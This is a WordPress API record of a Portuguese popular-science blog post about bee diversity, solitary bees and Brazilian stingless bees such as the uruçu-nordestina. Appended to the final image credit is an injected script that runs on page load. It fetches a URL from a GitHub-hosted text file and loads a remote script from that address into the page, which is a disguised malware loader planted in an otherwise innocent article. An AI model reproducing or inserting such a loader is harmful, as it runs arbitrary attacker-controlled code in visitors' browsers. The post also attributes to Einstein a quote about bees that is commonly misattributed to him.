{"id":552,"date":"2020-05-20T16:44:37","date_gmt":"2020-05-20T19:44:37","guid":{"rendered":"http:\/\/www2.uesb.br\/galapagos\/?p=552"},"modified":"2024-10-07T15:35:35","modified_gmt":"2024-10-07T18:35:35","slug":"um-buzzz-diferente-o-que-voce-talvez-nao-saiba-sobre-as-abelhas","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/galapagos\/2020\/05\/20\/um-buzzz-diferente-o-que-voce-talvez-nao-saiba-sobre-as-abelhas\/","title":{"rendered":"Um \u2018buzzz\u2019 diferente: o que voc\u00ea talvez n\u00e3o saiba sobre as abelhas"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignright wp-image-635 \" title=\"@bee_ninfluencer\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/bee_nfluencer-272x300.jpg\" alt=\"@bee_nfluencer\" width=\"295\" height=\"325\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/bee_nfluencer-272x300.jpg 272w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/bee_nfluencer-927x1024.jpg 927w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/bee_nfluencer-768x848.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/bee_nfluencer.jpg 1080w\" sizes=\"auto, (max-width: 295px) 100vw, 295px\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Oi, abelhudos. Hoje vamos conversar sobre as milhares de esp\u00e9cies de abelhas do mundo. Sim. MILHARES! E apesar de terem sido, recentemente, reconhecidas como os animais mais importantes do planeta, as abelhas s\u00e3o pouco conhecidas. Diferente do que muitas pessoas pensam, nem todas as abelhas s\u00e3o pequenas, amarelas e pretas, vivem em colmeias e t\u00eam ferr\u00e3o. Essas s\u00e3o caracter\u00edsticas da <em>Apis mellifera<\/em>, a esp\u00e9cie de abelha mais conhecida pelas pessoas, por ser a respons\u00e1vel por grande parte da produ\u00e7\u00e3o mundial de mel.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Se tirarmos a <em>Apis mellifera<\/em> de foco por um instante, descobriremos que existe uma infinidade de esp\u00e9cies de abelhas por a\u00ed, mais perto do que imaginamos. Vamos come\u00e7ar esclarecendo que as abelhas podem ser multicoloridas. Existem abelhas de cor <strong><span style=\"color: #00ccff;\">azul<\/span>, <span style=\"color: #339966;\">verde<\/span>, <span style=\"color: #993366;\">roxa<\/span>, preta, <span style=\"color: #f2d600;\">amarela<\/span>, com l<span style=\"color: #ff0000;\">i<\/span>s<span style=\"color: #ff0000;\">t<\/span>r<span style=\"color: #ff0000;\">a<\/span>s <span style=\"color: #ff0000;\">vermelhas<\/span> e l<span style=\"color: #ff6600;\">i<\/span>s<span style=\"color: #ff6600;\">t<\/span>r<span style=\"color: #ff6600;\">a<\/span>s <span style=\"color: #ff6600;\">laranjas<\/span>&#8230; Peludas ou met\u00e1licas.<\/strong> Uma diversidade gigante, que por vezes passa despercebida ora por seu tamanho reduzido, ora por serem grandes e assustadoras (o suficiente para n\u00e3o serem popularmente consideradas abelhas).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-634 alignleft\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/arthropodian-1-240x300.jpg\" alt=\"\" width=\"266\" height=\"333\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/arthropodian-1-240x300.jpg 240w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/arthropodian-1-819x1024.jpg 819w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/arthropodian-1-768x960.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/arthropodian-1.jpg 1080w\" sizes=\"auto, (max-width: 266px) 100vw, 266px\" \/>Outra caracter\u00edstica de <em>Apis mellifera<\/em>, que \u00e9 atribu\u00edda \u00e0 todas as abelhas, \u00e9 o fato destes insetos viverem em colmeias com milhares de indiv\u00edduos. Atualmente, existem no mundo mais de 20 mil esp\u00e9cies de abelhas conhecidas pela ci\u00eancia, e vejam s\u00f3 que curioso: cerca de 80% destas esp\u00e9cies apresentam comportamento <strong>solit\u00e1rio<\/strong>. Isso quer dizer que, apenas 20% das esp\u00e9cies de abelhas do mundo, vivem em colmeias ou apresentam outras formas de comportamento social.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Sei que voc\u00ea deve estar surpreso com o fato de existirem tantas abelhas solit\u00e1rias. E voc\u00ea pode se perguntar: uma abelha solit\u00e1ria \u00e9 uma abelha rainha? N\u00e3o. As abelhas solit\u00e1rias n\u00e3o apresentam divis\u00e3o de castas (rainhas e oper\u00e1rias). Isso pode te levar a outra d\u00favida: nessas esp\u00e9cies existem apenas a f\u00eamea e o macho? Tamb\u00e9m n\u00e3o. A f\u00eamea solit\u00e1ria \u00e9 a \u00fanica respons\u00e1vel pela constru\u00e7\u00e3o do ninho e coleta do alimento. E vale deixar claro que entre as abelhas, sejam elas sociais ou solit\u00e1rias, os machos s\u00f3 possuem uma fun\u00e7\u00e3o: reproduzir.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">E por \u00faltimo voc\u00ea pode questionar: ent\u00e3o as outras esp\u00e9cies sociais vivem todas em colmeias? Nem sempre. Existe uma variedade de comportamentos com rela\u00e7\u00e3o \u00e0 socialidade das abelhas. Algumas esp\u00e9cies vivem em col\u00f4nias (colmeias), outras constroem seus ninhos separadamente, por\u00e9m pr\u00f3ximos uns dos outros, criando uma esp\u00e9cie de condom\u00ednio abelhudo, entre outras varia\u00e7\u00f5es. E somente nas esp\u00e9cies eussociais (aquelas que vivem em col\u00f4nias) podemos encontrar a divis\u00e3o de castas entre rainhas e oper\u00e1rias. Esse papo sobre castas entre abelhas \u00e9 interessante, mas \u00e9 longo e pode ficar pra outro dia (prometo que volto pra contar).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-638 alignright\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/mttgalvao-1-300x300.jpg\" alt=\"\" width=\"300\" height=\"300\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/mttgalvao-1-300x300.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/mttgalvao-1-1024x1024.jpg 1024w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/mttgalvao-1-150x150.jpg 150w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/mttgalvao-1-768x768.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/mttgalvao-1.jpg 1080w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>E se s\u00f3 de pensar em abelhas vivendo em conjunto, voc\u00ea pensa no risco de ser atacado por um enxame e na dor das ferroadas, serei obrigado a te dizer novamente que <em>n\u00e3o<\/em>. Este \u00e9 mais um estigma que as abelhas carregam por conta da famosa <em>Apis mellifera<\/em>. No Brasil, as abelhas sociais nativas, s\u00e3o conhecidas como \u201cabelhas sem ferr\u00e3o\u201d. Apesar do nome, elas possuem ferr\u00e3o, por\u00e9m ele \u00e9 uma estrutura atrofiada (imposs\u00edvel de ser utilizada). Aposto que voc\u00ea j\u00e1 ouviu Alceu Valen\u00e7a, em Morena Tropicana, cantar: \u201csaliva doce, doce mel, mel de uru\u00e7u\u201d, em refer\u00eancia \u00e0 abelha sem ferr\u00e3o <strong>uru\u00e7u-nordestina <\/strong>(<em>Melipona scutellaris<\/em>). Ainda que n\u00e3o possam usar o ferr\u00e3o, as abelhas sem ferr\u00e3o ainda podem morder (n\u00e3o causam dor, mas um ataque em massa pode ser problem\u00e1tico) e algumas esp\u00e9cie embara\u00e7am nos cabelos como modo de defesa. J\u00e1 ouviu a express\u00e3o \u201ccabelo de arapu\u00e1?\u201d Tamb\u00e9m \u00e9 referente a uma abelha sem ferr\u00e3o, a <em>Trigona spinipes<\/em>.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Falando em defesa, acredito que muitos de voc\u00eas j\u00e1 devem ter ouvido que as abelhas perdem seus ferr\u00f5es quando ferroam e morrem logo em seguida. Por\u00e9m, esta \u00e9 mais uma caracter\u00edstica da <em>Apis mellifera<\/em>, que perde seu intestino junto com o ferr\u00e3o. Entretanto, ao morrer, a abelha libera um sinal qu\u00edmico para que a colmeia saiba que est\u00e1 em perigo, e isso estimula o ataque em massa das oper\u00e1rias. Ao contr\u00e1rio da <em>Apis<\/em> <em>mellifera<\/em>, as abelhas solit\u00e1rias s\u00e3o capazes de ferroar repetidas vezes sem perder a estrutura \u2013 um excelente mecanismo de defesa para quem vive sozinha.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #800080;\"><strong>Apesar dos riscos, ou do medo que voc\u00ea pode sentir das abelhas, \u00e9 importante lembrar que sem elas o mundo n\u00e3o seria o mesmo. Albert Einstein\u00a0(1879 \u2013 1955)\u00a0disse: \u201cSe as abelhas desaparecerem da face da Terra, a humanidade ter\u00e1 apenas mais quatro anos de exist\u00eancia. Sem abelhas n\u00e3o h\u00e1 poliniza\u00e7\u00e3o, n\u00e3o h\u00e1 reprodu\u00e7\u00e3o da flora, sem flora n\u00e3o h\u00e1 animais, sem animais, n\u00e3o haver\u00e1 ra\u00e7a humana.\u201d<\/strong><\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"color: #ff6600;\"><strong><em><span style=\"font-size: large;\">Salvem as abelhas!<\/span><\/em><\/strong><\/span><\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p>Texto por <strong>Matheus Galv\u00e3o Brito<\/strong> \u2014 publicado em maio de 2020.<\/p>\n<hr \/>\n<p>Imagem destaque &#8220;<a href=\"https:\/\/dribbble.com\/shots\/4926663-Bug-Lab-Texture-Brush-Pack\">Bug Lab Texture Brush Pack<\/a>&#8221; por Brad Woodard.<\/p>\n<p>Imagem 1: <a href=\"https:\/\/www.instagram.com\/bee_nfluencer\/?hl=pt-br\">@bee_nfluencer<\/a><\/p>\n<p>Imagem 2: <a href=\"https:\/\/www.instagram.com\/arthropodian\/?hl=pt-br\">@arthropodian<\/a><\/p>\n<p>Imagem 3: Ninho de uru\u00e7u-nordestina por Matheus Galv\u00e3o Brito<script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Oi, abelhudos. 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